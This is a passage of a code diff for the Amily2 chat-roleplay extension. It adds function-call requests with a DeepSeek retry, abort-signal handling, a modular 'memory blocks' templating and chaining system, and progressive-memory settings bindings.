const apiSettings = await getApiSettings(options.slot || 'main');
const finalOptions = {
maxTokens: apiSettings.maxTokens,
temperature: apiSettings.temperature,
model: apiSettings.model,
apiUrl: apiSettings.apiUrl,
apiKey: apiSettings.apiKey,
apiProvider: apiSettings.apiProvider,
customParams: { ...(apiSettings.customParams ?? {}), ...(options.customParams ?? {}) },
signal: options.signal,
...options,
};
const FC_SUPPORTED_PROVIDERS = new Set(['openai', 'openai_test', 'custom_oai', 'openrouter', 'deepseek', 'xai']);
if (!FC_SUPPORTED_PROVIDERS.has(finalOptions.apiProvider)) {
console.warn(`[Amily2-外交部] Function Call 不支持当前接口类型: ${finalOptions.apiProvider}`);
toastr.warning(`当前 API 接口类型(${finalOptions.apiProvider})不支持 Function Call。`, 'Function Call');
return null;
}
if (!finalOptions.apiUrl || !finalOptions.model) {
console.warn('[Amily2-外交部] API URL 或模型未配置,无法调用 Function Call AI');
toastr.error('API URL 或模型未配置。', 'Amily2-外交部');
return null;
}
// deepseek.com 域名或模型名含 deepseek 时,第一次调用主动关闭思考模式,
// 让 tool_choice 强制走 Function Call思考模式下 tool_choice 会报错/失败)
const isDeepSeek = /deepseek/i.test(finalOptions.apiUrl || '') || /deepseek/i.test(finalOptions.model || '');
const buildFCBody = (withToolChoice, overrideMessages, extraParams = {}) => ({
chat_completion_source: 'openai',
reverse_proxy: finalOptions.apiUrl,
proxy_password: finalOptions.apiKey,
model: finalOptions.model,
messages: overrideMessages ?? messages,
max_tokens: finalOptions.maxTokens || 30000,
temperature: finalOptions.temperature ?? 1,
stream: false,
...(finalOptions.customParams || {}),
...extraParams,
tools: [tool],
...(withToolChoice ? { tool_choice: { type: 'function', function: { name: tool.function.name } } } : {}),
});
const doFCRequest = async (withToolChoice, overrideMessages, extraParams) => {
const response = await fetch('/api/backends/chat-completions/generate', {
method: 'POST',
headers: { ...getRequestHeaders(), 'Content-Type': 'application/json' },
body: JSON.stringify(buildFCBody(withToolChoice, overrideMessages, extraParams)),
signal: finalOptions.signal,
});
if (!response.ok) {
const errorText = await response.text();
throw new Error(`Function Call 请求失败: ${response.status} - ${errorText}`);
}
const data = await response.json();
// ST 代理在上游报错时仍返回 HTTP 200错误信息在 body 里
if (data?.error) {
throw new Error(`Function Call 请求失败: ${JSON.stringify(data.error)}`);
}
return data;
};
try {
console.groupCollapsed(`[Amily2号-Function Call] ${new Date().toLocaleTimeString()}`);
console.log('【工具】:', tool.function?.name, '【模型】:', finalOptions.model);
console.log('【消息】:', messages);
console.groupEnd();
let data;
try {
// 走 ST 后端代理,避免浏览器 CSP 拦截直连外部 URL
// DeepSeek 思考模式与 tool_choice 不兼容,第一次请求时主动关闭思考模式
const firstAttemptExtra = isDeepSeek ? { thinking: { type: 'disabled' } } : {};
if (isDeepSeek) console.log('[Amily2-外交部] 检测到 DeepSeek 端点,首次 FC 请求附加 thinking:disabled');
data = await doFCRequest(true, undefined, firstAttemptExtra);
} catch (firstError) {
if (firstError?.name === 'AbortError') throw firstError; // 用户中断,不要重试
// 首次失败(含 ST 代理吞掉错误码场景)无条件去掉 tool_choice 重试一次
// 思考模式模型支持 tools 但不支持强制 tool_choice追加强制指令防止模型直接输出文本
console.warn('[Amily2-外交部] 首次 FC 请求失败,去掉 tool_choice 重试…', firstError.message);
const retryMessages = [
...messages,
{ role: 'user', content: `你必须通过调用 \`${tool.function.name}\` 函数来返回结果,禁止直接输出文本内容。` },
];
data = await doFCRequest(false, retryMessages);
}
const toolCalls = data?.choices?.[0]?.message?.tool_calls;
if (!Array.isArray(toolCalls) || toolCalls.length === 0) {
console.warn('[Amily2-外交部] Function Call 响应中无 tool_callsfinish_reason:', data?.choices?.[0]?.finish_reason);
return null;
}
const argsString = toolCalls[0]?.function?.arguments;
console.groupCollapsed('[Amily2号-Function Call 响应]');
console.log(argsString);
console.groupEnd();
return argsString ?? null;
} catch (error) {
if (error?.name === 'AbortError') {
console.warn('[Amily2-外交部] Function Call 调用被用户中断。');
throw error;
}
console.error('[Amily2-外交部] Function Call 调用失败:', error);
toastr.error(`Function Call 调用失败: ${error.message}`, 'Amily2-外交部');
return null;
}
}

View File

@@ -87,6 +87,7 @@ export async function callNccsAI(messages, options = {}) {
const settings = await getNccsApiSettings();
const finalOptions = {
...settings,
signal: options.signal,
...options
};
@@ -123,14 +124,40 @@ export async function callNccsAI(messages, options = {}) {
}
return responseContent;
} catch (error) {
if (error?.name === 'AbortError') {
console.warn('[Amily2-Nccs] API 调用被用户中断。');
throw error;
}
console.error(`[Amily2-Nccs] API 调用失败:`, error);
toastr.error(`调用失败: ${error.message}`, "Nccs API Error");
return null;
}
}
async function fetchFakeStream(url, opts) {
const res = await fetch(url, opts);
function raceAgainstSignal(promise, signal) {
if (!signal) return promise;
if (signal.aborted) {
const err = new Error('Aborted');
err.name = 'AbortError';
return Promise.reject(err);
}
return new Promise((resolve, reject) => {
const onAbort = () => {
signal.removeEventListener('abort', onAbort);
const err = new Error('Aborted');
err.name = 'AbortError';
reject(err);
};
signal.addEventListener('abort', onAbort, { once: true });
promise.then(
(v) => { signal.removeEventListener('abort', onAbort); resolve(v); },
(e) => { signal.removeEventListener('abort', onAbort); reject(e); },
);
});
}
async function fetchFakeStream(url, opts, signal) {
const res = await fetch(url, { ...opts, signal });
if (!res.ok) throw new Error(`Stream HTTP ${res.status}: ${await res.text()}`);
const reader = res.body.getReader();
@@ -217,10 +244,10 @@ async function callNccsOpenAITest(messages, options) {
};
if (options.stream) {
return await fetchFakeStream('/api/backends/chat-completions/generate', fetchOpts);
return await fetchFakeStream('/api/backends/chat-completions/generate', fetchOpts, options.signal);
}
const response = await fetch('/api/backends/chat-completions/generate', fetchOpts);
const response = await fetch('/api/backends/chat-completions/generate', { ...fetchOpts, signal: options.signal });
if (!response.ok) throw new Error(`HTTP ${response.status}: ${await response.text()}`);
return normalizeApiResponse(await response.json());
}
@@ -244,13 +271,14 @@ async function callNccsSillyTavernPreset(messages, options) {
if (!context.ConnectionManagerRequestService) throw new Error('ConnectionManagerRequestService unavailable');
const result = await context.ConnectionManagerRequestService.sendRequest(
const sendPromise = context.ConnectionManagerRequestService.sendRequest(
targetProfile.id,
messages,
8192,
options.customParams || {}
);
const result = await raceAgainstSignal(sendPromise, options.signal);
return normalizeApiResponse(result);
} finally {

View File

@@ -10,8 +10,16 @@ export function initializeArchiveManager() {
console.log('[归档管理器] 已启动,正在监控表格状态...');
}
/** Bus 直调路径:由 super-memory/manager.js 的 pushUpdate 调用,接受纯 payload 对象。 */
export function handleArchiveUpdate(payload) {
return handleArchivePayload(payload);
}
async function handleTableUpdate(event) {
const { tableName, data, role } = event.detail;
return handleArchivePayload(event.detail);
}
async function handleArchivePayload({ tableName, data, role }) {
const settings = getSettings();
if (!settings.archive || !settings.archive.enabled) return;
@@ -24,7 +32,8 @@ async function handleTableUpdate(event) {
if (isArchiving) return;
let hasNotice = false;
let realRows = data;
if (data.length > 0 && data[0][2] && data[0][2].includes('已自动归档')) {
hasNotice = true;
realRows = data.slice(1);

View File

@@ -307,8 +307,11 @@ function getRawMessagesForSummary(startFloor, endFloor) {
const useTagExtraction = historiographyRuleConfig.tagExtractionEnabled ?? false;
const tagsToExtract = useTagExtraction ? (historiographyRuleConfig.tags || '').split(',').map(t => t.trim()).filter(Boolean) : [];
const exclusionRules = historiographyRuleConfig.exclusionRules || [];
const excludeUserMessages = historiographyRuleConfig.excludeUserMessages ?? false;
const messages = historySlice.map((msg, index) => {
if (excludeUserMessages && msg.is_user) return null;
let content = msg.mes;
if (useTagExtraction && tagsToExtract.length > 0) {
@@ -319,7 +322,7 @@ function getRawMessagesForSummary(startFloor, endFloor) {
}
content = applyExclusionRules(content, exclusionRules);
if (!content.trim()) return null;
return {

View File

@@ -0,0 +1,54 @@
/**
* core/memory-blocks/ai-call-handler.js — 'ai_call' generator handlerPhase 2
*
* 执行一次独立 AI 调用,把回复(或其中指定标签的内容)作为块的替换值。
*
* 与 generator-handlers.js 分离的原因:本 handler 依赖 core/api.js牵涉
* DOM / ST 运行时),注册表本身保持零依赖,便于单测与 JSON 工具复用。
*
* generator 字段AiCallGenerator契约见 types.js
* apiSlot - callAI 的功能槽('main' / 'plotOpt' / 'nccs' ...),缺省 'main'
* promptTemplate - 作为 user 消息发送的提示词(必填,空则块跳过)
* systemPrompt - 可选,附加在前面的 system 消息
* extractTag - 可选,只取回复中最后一个 <tag>...</tag> 的内容;
* 标签缺失时回退为完整回复(宽容处理,模型偶发不包
* 标签时块仍有产出,而不是静默保留占位符)
*
* 失败语义(与 executor 约定一致):
* - callAI 内部捕获的 API 错误返回 null → 块产出 null → 占位符保留
* - AbortError 由 callAI 原样上抛 → executor 整体中断signal 贯穿 fetch
*/
import { callAI } from '../api.js';
import { extractContentByTag } from '../../utils/tagProcessor.js';
import { registerHandler } from './generator-handlers.js';
registerHandler('ai_call', async (block, ctx) => {
const gen = block.generator || {};
const prompt = typeof gen.promptTemplate === 'string' ? gen.promptTemplate.trim() : '';
if (!prompt) {
console.warn(`[MemoryBlocks] ai_call 块 ${block.id} 缺少 promptTemplate已跳过。`);
return null;
}
const messages = [];
if (typeof gen.systemPrompt === 'string' && gen.systemPrompt.trim()) {
messages.push({ role: 'system', content: gen.systemPrompt });
}
messages.push({ role: 'user', content: prompt });
const response = await callAI(messages, {
slot: gen.apiSlot || 'main',
signal: ctx?.signal,
});
if (!response || !response.trim()) return null;
if (gen.extractTag) {
const extracted = extractContentByTag(response, gen.extractTag);
if (extracted !== null && extracted.trim()) return extracted.trim();
console.warn(`[MemoryBlocks] ai_call 块 ${block.id} 回复中未找到 <${gen.extractTag}> 标签,回退为完整回复。`);
}
return response.trim();
});
export {};

View File

@@ -0,0 +1,51 @@
/**
* core/memory-blocks/builtin-blocks.js
*
* 内置块注册。当前只把剧情优化原硬编码的 sulv1-4 迁过来,作为新流水线的首批
* 静态块——既验证 substitution 流程正常,又保留原行为字节级一致。
*
* 旧位置core/summarizer.js 中 processPlotOptimization 的硬编码 replacements。
*/
import { register } from './registry.js';
let initialized = false;
export function registerBuiltinBlocks() {
if (initialized) return;
initialized = true;
// 剧情优化processPlotOptimization的四个速率占位符
register({
id: 'plotOpt.sulv1',
placeholder: 'sulv1',
context: 'plotOptimization',
generator: { type: 'static', valueKey: 'plotOpt_rateMain', defaultValue: 1.0 },
name: '主线剧情速率',
order: 1,
});
register({
id: 'plotOpt.sulv2',
placeholder: 'sulv2',
context: 'plotOptimization',
generator: { type: 'static', valueKey: 'plotOpt_ratePersonal', defaultValue: 1.0 },
name: '个人线速率',
order: 2,
});
register({
id: 'plotOpt.sulv3',
placeholder: 'sulv3',
context: 'plotOptimization',
generator: { type: 'static', valueKey: 'plotOpt_rateErotic', defaultValue: 1.0 },
name: '速率3留空',
order: 3,
});
register({
id: 'plotOpt.sulv4',
placeholder: 'sulv4',
context: 'plotOptimization',
generator: { type: 'static', valueKey: 'plotOpt_rateCuckold', defaultValue: 1.0 },
name: '速率4留空',
order: 4,
});
}

View File

@@ -0,0 +1,97 @@
/**
* core/memory-blocks/chain.js
*
* 顺序拼接式工作流:把 context 下所有启用块的结果,按 block.order 排序后用 separator
* 拼接,并可选 header/footer 包裹,最终输出一个"完整的注入块"字符串。
*
* 与 executor.js模板替换式并列两种组合范式
* - executor: 模板里挖空 placeholder块负责填料 → 替换式
* - chain: 无模板,块各自产出一段文本 → 顺序拼成一整段
*
* 战斗系统设计稿§3.2)里的"战报作底部独立注入块"、未来的"记忆注入合成块"
* 都是 chain 模式的天然用例:战斗模块只需声明一个 BlockDefinitionorder 取大
* 就自动落在拼接末尾。
*
* ── Chain 定义纯数据、JSON 可序列化)─────────────────────────────────────
* {
* id: string // 与 BlockDefinition.context 对齐,块通过 context 隐式归属
* name?: string // UI 显示名
* separator?: string // 块间分隔符,默认 '\n\n'
* header?: string // 整段前缀,可选
* footer?: string // 整段后缀,可选
* }
*
* Chain 无须显式注册也能 compose——未注册时使用默认值方便临时拼接。
*/
import { executeContext } from './runner.js';
const chains = new Map();
const DEFAULT_SEPARATOR = '\n\n';
function validateChain(def) {
if (!def || typeof def !== 'object') throw new Error('[MemoryBlocks/Chain] 定义必须是对象。');
if (!def.id) throw new Error('[MemoryBlocks/Chain] Chain.id 必填。');
}
export function registerChain(def) {
validateChain(def);
chains.set(def.id, {
separator: DEFAULT_SEPARATOR,
header: '',
footer: '',
...def,
});
}
export function unregisterChain(id) {
return chains.delete(id);
}
export function getChain(id) {
return chains.get(id) ?? null;
}
export function listChains() {
return [...chains.values()];
}
/**
* 执行 Chain按 order 排序后拼接成最终字符串。
*
* @param {string} chainId
* @param {{ settings?, signal?, extras? }} [opts]
* @returns {Promise<string>}
*/
export async function composeChain(chainId, opts = {}) {
if (!chainId) return '';
const chain = getChain(chainId);
const results = await executeContext({ context: chainId, ...opts });
const sorted = results
.filter(r => r !== null)
.sort((a, b) => (a.block.order ?? 0) - (b.block.order ?? 0));
const separator = chain?.separator ?? DEFAULT_SEPARATOR;
const body = sorted.map(r => r.value).join(separator);
const parts = [chain?.header, body, chain?.footer]
.map(p => (typeof p === 'string' ? p : ''))
.filter(p => p.length > 0);
return parts.join(separator);
}
/**
* 取 Chain 的执行结果明细(含每块原值),用于调试或调用方自定义后处理。
*
* @returns {Promise<Array<{ block, value }>>}
*/
export async function inspectChain(chainId, opts = {}) {
if (!chainId) return [];
const results = await executeContext({ context: chainId, ...opts });
return results
.filter(r => r !== null)
.sort((a, b) => (a.block.order ?? 0) - (b.block.order ?? 0));
}

View File

@@ -0,0 +1,102 @@
/**
* core/memory-blocks/custom-blocks.js — 用户自定义块的持久化Phase 2
*
* 自定义块以纯 JSONBlockDefinition 数组)存于
* extension_settings[extensionName].memoryBlocks_customBlocks
* 与运行时注册中心registry.js双向同步
* - bootstrap / UI 初始化时 syncCustomBlocksFromSettings() 全量重放
* - 增删改 CRUD 同时更新 settings 与 registry并 saveSettingsDebounced
*
* 自定义块 id 一律以 'custom.' 为前缀,与内置块('plotOpt.sulv1' 等)天然
* 隔离CRUD 仅对该前缀生效,内置块不可经此修改或删除。
*/
import { extension_settings } from '/scripts/extensions.js';
import { saveSettingsDebounced } from '/script.js';
import { extensionName } from '../../utils/settings.js';
import { register, unregister, listAll } from './registry.js';
const STORAGE_KEY = 'memoryBlocks_customBlocks';
export const CUSTOM_ID_PREFIX = 'custom.';
export function isCustomBlockId(id) {
return typeof id === 'string' && id.startsWith(CUSTOM_ID_PREFIX);
}
function getStore() {
if (!extension_settings[extensionName]) extension_settings[extensionName] = {};
const s = extension_settings[extensionName];
if (!Array.isArray(s[STORAGE_KEY])) s[STORAGE_KEY] = [];
return s[STORAGE_KEY];
}
function persist() {
saveSettingsDebounced();
}
function newCustomId() {
return `${CUSTOM_ID_PREFIX}${Date.now().toString(36)}${Math.random().toString(36).slice(2, 7)}`;
}
/**
* 把 settings 中的自定义块全量重放进 registry幂等可重复调用
* 单个块定义损坏时跳过并告警,不影响其余块。
*/
export function syncCustomBlocksFromSettings() {
for (const b of listAll()) {
if (isCustomBlockId(b.id)) unregister(b.id);
}
for (const def of getStore()) {
try {
register(def);
} catch (error) {
console.warn(`[MemoryBlocks] 自定义块定义损坏,已跳过:`, def, error);
}
}
}
/** 列出某 context 下的自定义块settings 为权威源;不过滤 enabled。 */
export function listCustomBlocks(context) {
const store = getStore();
return context ? store.filter(b => b.context === context) : [...store];
}
export function getCustomBlock(id) {
return getStore().find(b => b.id === id) ?? null;
}
/**
* 新增自定义块。def 不含 id自动生成校验失败时抛错、不落库。
* @returns {Object} 落库后的完整定义
*/
export function addCustomBlock(def) {
const full = { enabled: true, ...def, id: newCustomId() };
register(full); // 先过 registry 校验,抛错则不落库
getStore().push(full);
persist();
return full;
}
/** 修改自定义块(浅合并 patchid/非 custom 块不可改)。 */
export function updateCustomBlock(id, patch) {
if (!isCustomBlockId(id)) throw new Error(`[MemoryBlocks] 仅自定义块可修改: ${id}`);
const store = getStore();
const idx = store.findIndex(b => b.id === id);
if (idx === -1) throw new Error(`[MemoryBlocks] 自定义块不存在: ${id}`);
const merged = { ...store[idx], ...patch, id };
register(merged); // 校验 + 覆盖注册
store[idx] = merged;
persist();
return merged;
}
export function deleteCustomBlock(id) {
if (!isCustomBlockId(id)) return false;
const store = getStore();
const idx = store.findIndex(b => b.id === id);
if (idx === -1) return false;
store.splice(idx, 1);
unregister(id);
persist();
return true;
}

View File

@@ -0,0 +1,71 @@
/**
* core/memory-blocks/executor.js
*
* 模板替换式工作流:用块结果 substitute 到模板的 placeholder 处。
* 与 chain.js顺序拼接式并列两种组合方式共用 runner.js 的底层执行原语。
*
* 适用场景sulv1-4 这种"prompt 里已挖好占位符,块负责填料"。
*
* 核心 API
* applyToTemplate(template, opts) 单模板进,字符串出
* applyToTemplates(templates, opts) 多模板进(数组或对象),结构同形出;
* 块只执行一次,对每个模板复用结果
* generateBlockMap(opts) 不替换,返回 { id → value } 给调用方自由组合
*
* 中断行为opts.signal 由调用方控制,传给每个 handler任一 handler 抛
* AbortError 时整体抛出向上传递(与现有 callAI 体系一致)。
*/
import { executeContext } from './runner.js';
function escapeForRegex(s) {
return String(s).replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&');
}
function substituteOne(template, results) {
if (typeof template !== 'string' || !template) return template ?? '';
let out = template;
for (const r of results) {
if (!r) continue;
const re = new RegExp(escapeForRegex(r.block.placeholder), 'g');
out = out.replace(re, r.value);
}
return out;
}
export async function applyToTemplate(template, opts = {}) {
if (typeof template !== 'string' || !template) return template ?? '';
const results = await executeContext(opts);
return substituteOne(template, results);
}
/**
* 多模板批处理。templates 可以是:
* - 字符串数组 → 返回字符串数组
* - 对象 { key: template } → 返回对象 { key: replaced }
* - 字符串 → 退化为 applyToTemplate
*/
export async function applyToTemplates(templates, opts = {}) {
const results = await executeContext(opts);
if (typeof templates === 'string') return substituteOne(templates, results);
if (Array.isArray(templates)) return templates.map(t => substituteOne(t, results));
if (templates && typeof templates === 'object') {
const out = {};
for (const [k, v] of Object.entries(templates)) out[k] = substituteOne(v, results);
return out;
}
return templates;
}
/**
* 不替换,只把块结果汇成 Map<id, value>,调用方拿去自由组合。
*/
export async function generateBlockMap(opts = {}) {
const results = await executeContext(opts);
const map = new Map();
for (const r of results) {
if (r) map.set(r.block.id, r.value);
}
return map;
}

View File

@@ -0,0 +1,46 @@
/**
* core/memory-blocks/generator-handlers.js
*
* type → handler 函数 的注册表。BlockDefinition.generator.type 在这里查表后执行。
*
* Handler 签名async (block, ctx) => string | null
* - block: BlockDefinition
* - ctx: ExecuteContext { settings, signal, context, extras }
* - 返回 string替换值返回 null/undefined视为"无内容,保留占位符"
*
* 当前内置 'static''ai_call'/'plugin' 在后续 Phase 注册(保留接口)。
*/
const handlers = new Map();
export function registerHandler(type, fn) {
if (!type || typeof fn !== 'function') {
throw new Error('[MemoryBlocks] registerHandler 需要 type 字符串 + 函数 fn。');
}
handlers.set(type, fn);
}
export function unregisterHandler(type) {
handlers.delete(type);
}
export function getHandler(type) {
return handlers.get(type) ?? null;
}
export function listHandlerTypes() {
return [...handlers.keys()];
}
// ── 内置 handlerstatic ──────────────────────────────────────────────────────
registerHandler('static', async (block, ctx) => {
const gen = block.generator || {};
// 优先级:硬编码 value > settings[valueKey] > defaultValue > ''
if (gen.value !== undefined) return String(gen.value);
if (gen.valueKey != null) {
const v = ctx?.settings?.[gen.valueKey];
if (v !== undefined && v !== null && v !== '') return String(v);
}
if (gen.defaultValue !== undefined) return String(gen.defaultValue);
return '';
});

View File

@@ -0,0 +1,95 @@
/**
* core/memory-blocks/index.js
*
* 记忆块工作流系统对外入口。导入此模块即触发:
* 1. generator-handlers 加载 → 注册内置 'static' handler
* 2. ai-call-handler 加载 → 注册 'ai_call' handlerPhase 2
* 3. registerBuiltinBlocks() → 注册首批内置块sulv1-4
* 4. syncCustomBlocksFromSettings() → 重放用户自定义块Phase 2
*
* 两种组合范式:
* - 模板替换式executor.jsprompt 里挖空 placeholder块填料 → 适合 sulv1-4
* - 顺序拼接式chain.js :块各自产出一段,按 order 拼接成完整注入块 →
* 适合记忆注入、战报底部块
*
* 公开 API
* Block
* register / unregister / getById / listByContext / listAll
* replaceContextBlocks (批量替换某 context 下全部块JSON 导入用)
* Handler
* registerHandler / unregisterHandler / getHandler / listHandlerTypes
* 模板替换式:
* applyToTemplate(template, opts)
* applyToTemplates(templates, opts) ← 多模板批处理首选
* generateBlockMap(opts)
* 顺序拼接式:
* registerChain(def) / unregisterChain / getChain / listChains
* composeChain(chainId, opts) → string
* inspectChain(chainId, opts) → Array<{block, value}>(调试/自定义后处理)
* 自定义块 CRUDPhase 2用户在 UI 增删改):
* listCustomBlocks / getCustomBlock / addCustomBlock /
* updateCustomBlock / deleteCustomBlock / syncCustomBlocksFromSettings
* CUSTOM_ID_PREFIX / isCustomBlockId
*
* opts 字段:{ settings, signal?, extras? }
* context 对应 chainId / Block.context由各 API 自行传或从 chainId 推导)
*
* 设计目标:
* - BlockDefinition / ChainDefinition 都是纯数据JSON 可序列化Phase 3 用户自定义导入导出)
* - generator 通过 type 查表handler 集中注册,便于扩展 ai_call / plugin
* - 同一 context 下的块 Promise.all 并发;任一块抛 AbortError 整体中断
*/
export {
register,
unregister,
getById,
listByContext,
listAll,
clear,
replaceContextBlocks,
} from './registry.js';
export {
registerHandler,
unregisterHandler,
getHandler,
listHandlerTypes,
} from './generator-handlers.js';
export {
applyToTemplate,
applyToTemplates,
generateBlockMap,
} from './executor.js';
export {
registerChain,
unregisterChain,
getChain,
listChains,
composeChain,
inspectChain,
} from './chain.js';
export {
CUSTOM_ID_PREFIX,
isCustomBlockId,
listCustomBlocks,
getCustomBlock,
addCustomBlock,
updateCustomBlock,
deleteCustomBlock,
syncCustomBlocksFromSettings,
} from './custom-blocks.js';
import './ai-call-handler.js'; // 副作用:注册 'ai_call' handler
import { registerBuiltinBlocks } from './builtin-blocks.js';
import { syncCustomBlocksFromSettings } from './custom-blocks.js';
// 导入此模块即完成内置块注册与自定义块重放(均幂等)。
// ST 在 import 扩展脚本前已加载完 extension_settings此时读取是安全的。
registerBuiltinBlocks();
syncCustomBlocksFromSettings();
export { registerBuiltinBlocks };

View File

@@ -0,0 +1,63 @@
/**
* core/memory-blocks/registry.js
*
* BlockDefinition 的注册中心。所有块共享同一个全局 Map。
*
* 调用方:
* - 内置块builtin-blocks.js 在 bootstrap 时注册
* - 用户块:未来 UI / JSON 导入注册
* - 插件块:战斗系统等外部模块注册
*
* 字段校验只做最小必填检查,避免后续扩展时频繁报错。
*/
const blocks = new Map();
function validate(def) {
if (!def || typeof def !== 'object') throw new Error('[MemoryBlocks] BlockDefinition 必须是对象。');
if (!def.id) throw new Error('[MemoryBlocks] BlockDefinition.id 必填。');
if (!def.placeholder) throw new Error(`[MemoryBlocks] BlockDefinition[${def.id}].placeholder 必填。`);
if (!def.context) throw new Error(`[MemoryBlocks] BlockDefinition[${def.id}].context 必填。`);
if (!def.generator?.type) throw new Error(`[MemoryBlocks] BlockDefinition[${def.id}].generator.type 必填。`);
}
export function register(def) {
validate(def);
blocks.set(def.id, { enabled: true, ...def });
}
export function unregister(id) {
return blocks.delete(id);
}
export function getById(id) {
return blocks.get(id) ?? null;
}
export function listByContext(context) {
const out = [];
for (const b of blocks.values()) {
if (b.context === context && b.enabled !== false) out.push(b);
}
out.sort((a, b) => (a.order ?? 0) - (b.order ?? 0));
return out;
}
export function listAll() {
return [...blocks.values()];
}
export function clear() {
blocks.clear();
}
/** 批量替换(用于 JSON 导入时整体覆盖某 context 下的块) */
export function replaceContextBlocks(context, defs) {
for (const [id, b] of blocks) {
if (b.context === context) blocks.delete(id);
}
for (const d of defs) {
if (d.context !== context) continue; // 防止越界注册
register(d);
}
}

View File

@@ -0,0 +1,40 @@
/**
* core/memory-blocks/runner.js
*
* 块执行的底层原语,被 executor.js模板替换和 chain.js顺序拼接共用。
*
* runBlock(block, ctx) → { block, value } | null
* 单块执行handler 抛 AbortError 时向上传递,其余异常吞掉并返回 null
* handler 返回 null/undefined 时同样返回 null视为"无内容"
*
* executeContext({ context, settings, signal, extras }) → Array<{block,value}|null>
* 按 context 拉块 → Promise.all 并发执行 → 返回结果数组(保留 null 占位以便上层
* 按 order 排序时不丢失映射关系,调用方过滤 null 即可)
*/
import { getHandler } from './generator-handlers.js';
import { listByContext } from './registry.js';
export async function runBlock(block, ctx) {
const handler = getHandler(block.generator?.type);
if (!handler) {
console.warn(`[MemoryBlocks] 未注册的 generator 类型 "${block.generator?.type}",块 ${block.id} 已跳过。`);
return null;
}
try {
const value = await handler(block, ctx);
if (value === null || value === undefined) return null;
return { block, value: String(value) };
} catch (error) {
if (error?.name === 'AbortError') throw error;
console.error(`[MemoryBlocks] 块 ${block.id} 生成失败:`, error);
return null;
}
}
export async function executeContext({ context, settings, signal, extras } = {}) {
const blocks = listByContext(context);
if (blocks.length === 0) return [];
const ctx = { settings: settings ?? {}, signal, context, extras };
return await Promise.all(blocks.map(b => runBlock(b, ctx)));
}

View File

@@ -0,0 +1,57 @@
/**
* core/memory-blocks/types.js — 类型契约JSDoc 文档,无运行时代码)
*
* BlockDefinition 是工作流的最小单位,描述"如何为某个占位符产出内容"。
* 所有字段必须 JSON 可序列化,为后续支持 JSON 导入导出做准备。
*
* 生成器generator只承载"用哪个 handler、参数是什么"的元数据,
* 真正的执行逻辑由 generator-handlers.js 按 type 查表的 handler 函数承担,
* 因此 BlockDefinition 本身永远不持有函数引用、可直接 JSON.stringify。
*/
/**
* @typedef {Object} StaticGenerator 直接读取 settings 或常量值
* @property {'static'} type
* @property {string} [valueKey] - 从 ctx.settings[valueKey] 读取
* @property {*} [defaultValue]- valueKey 不存在/为空时的兜底
* @property {*} [value] - 硬编码值,优先级高于 valueKey
*/
/**
* @typedef {Object} AiCallGenerator 独立 AI 调用handler 见 ai-call-handler.js
* @property {'ai_call'} type
* @property {string} [apiSlot='main'] - callAI 功能槽ApiProfileManager.SLOTS 中的 chat 槽)
* @property {string} promptTemplate - 作为 user 消息发送;空则块跳过
* @property {string} [systemPrompt] - 可选的 system 消息
* @property {string} [extractTag] - 只取回复中 <tag>...</tag> 的内容;缺失时回退完整回复
*/
/**
* @typedef {Object} PluginGenerator (Phase 3 预留:战斗模块走这条)
* @property {'plugin'} type
* @property {string} handlerKey - 在 handler 注册表里查 handler 函数
* @property {Object} [params]
*/
/** @typedef {StaticGenerator | AiCallGenerator | PluginGenerator} GeneratorSpec */
/**
* @typedef {Object} BlockDefinition
* @property {string} id - 全局唯一;用户自定义块以 'custom.' 为前缀(见 custom-blocks.js
* @property {string} placeholder - 在模板中要被替换的占位符(按字面量匹配,正则元字符自动转义)
* @property {string} context - 所属流水线,如 'plotOptimization'
* @property {GeneratorSpec} generator
* @property {string} [name] - UI 显示名
* @property {boolean} [enabled=true]
* @property {number} [order] - 仅影响 listByContext 的返回顺序;执行并发,不阻塞
*/
/**
* @typedef {Object} ExecuteContext
* @property {Object} settings - extension_settings[extensionName]
* @property {AbortSignal} [signal] - 来自调用方的中断信号
* @property {string} context
* @property {Object} [extras] - 额外上下文,供 handler 自取
*/
export {};

View File

@@ -0,0 +1,88 @@
/**
* core/progressive-memory/bindings.js
*
* 渐进记忆面板的 UI 事件绑定与设置回填。
* 设置统一存 extension_settings[extensionName].progressive_memory纯 JSON
*/
import { extension_settings } from "/scripts/extensions.js";
import { saveSettingsDebounced } from "/script.js";
import { extensionName } from "../../utils/settings.js";
import { progressiveMemoryDefaults } from "./engine.js";
function getStore() {
if (!extension_settings[extensionName]) extension_settings[extensionName] = {};
const root = extension_settings[extensionName];
if (!root.progressive_memory) {
root.progressive_memory = structuredClone(progressiveMemoryDefaults.progressive_memory);
}
// 补齐缺失键(旧存档或部分写入)
root.progressive_memory = {
...structuredClone(progressiveMemoryDefaults.progressive_memory),
...root.progressive_memory,
injection: {
...progressiveMemoryDefaults.progressive_memory.injection,
...(root.progressive_memory.injection || {}),
},
};
return root.progressive_memory;
}
export function bindProgressiveMemoryEvents() {
const panel = $('#amily2_progressive_memory_panel');
if (panel.length === 0) return;
panel.on('change', '#pm-enabled', function () {
getStore().enabled = this.checked;
saveSettingsDebounced();
});
panel.on('change', '#pm-target-table', function () {
getStore().targetTable = this.value.trim() || '总结表';
saveSettingsDebounced();
});
const numMap = {
'pm-recent': 'recentCount',
'pm-mid': 'midCount',
'pm-far': 'farCount',
};
panel.on('change', '#pm-recent, #pm-mid, #pm-far', function () {
getStore()[numMap[this.id]] = Math.max(0, parseInt(this.value, 10) || 0);
saveSettingsDebounced();
});
panel.on('change', '#pm-inj-position', function () {
getStore().injection.position = Math.max(0, parseInt(this.value, 10) || 0);
saveSettingsDebounced();
});
panel.on('change', '#pm-inj-depth', function () {
getStore().injection.depth = Math.max(0, parseInt(this.value, 10) || 0);
saveSettingsDebounced();
});
panel.on('change', '#pm-inj-role', function () {
getStore().injection.role = parseInt(this.value, 10) || 0;
saveSettingsDebounced();
});
panel.on('change', '#pm-template', function () {
getStore().template = this.value;
saveSettingsDebounced();
});
loadProgressiveMemorySettings();
console.log('[Amily2-渐进记忆] 事件绑定完成。');
}
function loadProgressiveMemorySettings() {
const s = getStore();
$('#pm-enabled').prop('checked', s.enabled === true);
$('#pm-target-table').val(s.targetTable);
$('#pm-recent').val(s.recentCount);
$('#pm-mid').val(s.midCount);
$('#pm-far').val(s.farCount);
$('#pm-inj-position').val(s.injection.position);
$('#pm-inj-depth').val(s.injection.depth);
$('#pm-inj-role').val(String(s.injection.role));
$('#pm-template').val(s.template);
}

View File

@@ -0,0 +1,141 @@
/**
* core/progressive-memory/engine.js
*
* 渐进记忆(内测)注入引擎。
*
